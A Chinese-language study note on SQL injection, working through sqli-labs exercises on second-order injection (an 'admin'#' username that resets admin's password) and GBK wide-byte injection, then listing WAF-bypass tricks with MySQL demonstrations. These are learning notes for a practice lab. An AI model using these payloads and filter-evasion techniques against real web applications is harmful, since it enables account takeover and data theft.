SQL注入
一、二次注入
二次注入的起因是数据在第一次入库的时候进行了一些过滤及转义,当这条数据从数据库中取出来在SQL语句中进行拼接,而在这次拼接中没有进行过滤时,就能执行我们构造好的SQL语句了。
在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
二次注入的步骤可以概括为:
- 第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行转义处理,写入数据库的适合又保留了原来的数据。 - 第二部:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
sqli-labs第24题
处理注册信息的源码:
if (isset($_POST['submit']))
{
# Validating the user input........
//$username= $_POST['username'] ;
$username= mysqli_real_escape_string($con1, $_POST['username']) ;
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysqli_fetch_row($res);
所有传递的信息都通过了mysqli_real_escape_string函数进行了转义。直接注册一个特殊的普通账户。
注册完成后,查看以下后台数据库表:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | hi | 123 |
| 16 | admin'# | 12345 |
+----+----------+------------+
15 rows in set (0.00 sec)
刚刚注册的用户正好在里面。然后用刚注册的用户名登陆,登录成功后页面显示了用户名。
试着修改以下密码,然后查看一下数据库表。
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | hello |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | hi | 123 |
| 16 | admin'# | 12345 |
+----+----------+------------+
15 rows in set (0.00 sec)
当前用户的密码没有修改,反倒是把管理员admin的密码进行了修改。
查看一下修改密码的源代码:
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysqli_affected_rows($con1);
可以看到,$username= $_SESSION[“username”]; 在session中获取的用户名为:admin’#。所以将其带入到SQL语句中是:
UPDATE users SET PASSWORD='hello' where username='admin'#' and password='$curr_pass'
所以最终修改的是admin管理员的密码。
二、其他注入
2.1、 宽字节注入
如果数据库使用gbk编码,%df%5c表示的是“連”。
sqli-labs第32题
- 使用id=1’ and 1=2 #注入时提示:单引号被转义了’
- 所以在URL编码后的单引号前面添加%df,因为“\”的URL编码是%5c。所以当后台对单引号进行转义时,在数据库显示的是%df%5c(連)。
- 表示已经注入成功了,然后查询数据库名:
- 通过数据库查询所有表名时,因为单引号被转义,该怎么办?
- 可以通过数据库名转换成十六进制,就可以不使用单引号;或者直接使用database()。
(后续学习了新的注入方式继续总结…)
三、注入绕过
WAF(web应用防火墙),会对每个请求的内容根据生产的规则进行检测并且对不符合安全规则的做出应对的过滤处理,从而保证Web应用的安全性与合法性。
常见的绕过方式有以下几个分类。
3.1 注释绕过
常用的注释符有:
-- 注释内容
# 注释内容
/* 注释内容 */
;
3.2 大小写绕过
比如WAF过滤了and 和AND,但是没有过滤And。或者过滤了select和SELECT,但是没有过滤SelEct。
mysql> select * from users WheRe id ='8' limit 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | hello |
+----+----------+----------+
1 row in set (0.00 sec)
3.3 双写关联字绕过
在某一些简单的waf中,将关键字and、select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如and变成anandd,在经过waf的处理之后又变成and,达到绕过的要求。
3.4 空格绕过
空格被WAF过滤掉了。可以使用以下方法进行绕过:
- /**/
- ()
- 回车(URL编码中的%0a)
- `
- tab
mysql> select id,username,(password)from`users`Where/**/id='8'limit
-> 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | hello |
+----+----------+----------+
1 row in set (0.00 sec)
3.5 绕过and、or、=
- && 表示 and
- || 表示 or
- like 表示 =
mysql> select id,username,password from users where id like '8' || id like '9' ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | hello |
| 9 | admin1 | admin1 |
+----+----------+----------+
2 rows in set (0.00 sec)
3.6 过滤逗号
- select substr(‘abc’,1,1);
mysql> select substr('abc',1,1);
+-------------------+
| substr('abc',1,1) |
+-------------------+
| a |
+-------------------+
1 row in set (0.00 sec)
mysql> select substr('abc' from 1 for 1);
+----------------------------+
| substr('abc' from 1 for 1) |
+----------------------------+
| a |
+----------------------------+
1 row in set (0.00 sec)
- select 1,2,3;
mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)
mysql> select * from (select 1)a join(select 2)b join (select 3)c;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)
- select * from users limit 0,1;
mysql> select * from users limit 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users limit 1 offset 0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
3.7 函数名绕过
- sleep() 可以使用benchmark()
mysql> select sleep(6);
+----------+
| sleep(6) |
+----------+
| 0 |
+----------+
1 row in set (6.01 sec)
mysql> select benchmark(2000000000,1);
+-------------------------+
| benchmark(2000000000,1) |
+-------------------------+
| 0 |
+-------------------------+
1 row in set (6.48 sec)
- ascii() -> ord()
mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)
mysql> select ord('a');
+----------+
| ord('a') |
+----------+
| 97 |
+----------+
1 row in set (0.00 sec)
其他的慢慢学习,慢慢总结